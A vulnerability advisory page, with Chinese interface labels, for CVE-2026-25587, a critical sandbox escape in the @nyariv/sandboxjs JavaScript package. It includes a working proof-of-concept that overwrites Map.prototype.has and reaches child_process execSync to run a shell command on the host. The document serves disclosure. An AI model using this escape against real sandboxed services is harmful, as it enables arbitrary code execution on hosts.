CVE-2026-25587

CRITICAL10.0EPSS 0.03%

@nyariv/sandboxjs has a Sandbox Escape vulnerability

發布日:2026/2/5修改日:2026/2/6

描述

### Summary As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped. ### Details This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged: ```js let a = Map.prototype; console.log(a) // undefined ``` ```js const a = Map.prototype; console.log(a) // Object [Map] {} ``` ```js let a = 123; console.log(a) // 123 ``` ```js const a = 123; console.log(a) // 123 ``` ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const m = Map.prototype; m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; sb.compile(payload)().run(); ``` ### Impact Able to set `Map.prototype.has` -> RCE

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1CRITICAL10.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

參考連結(4)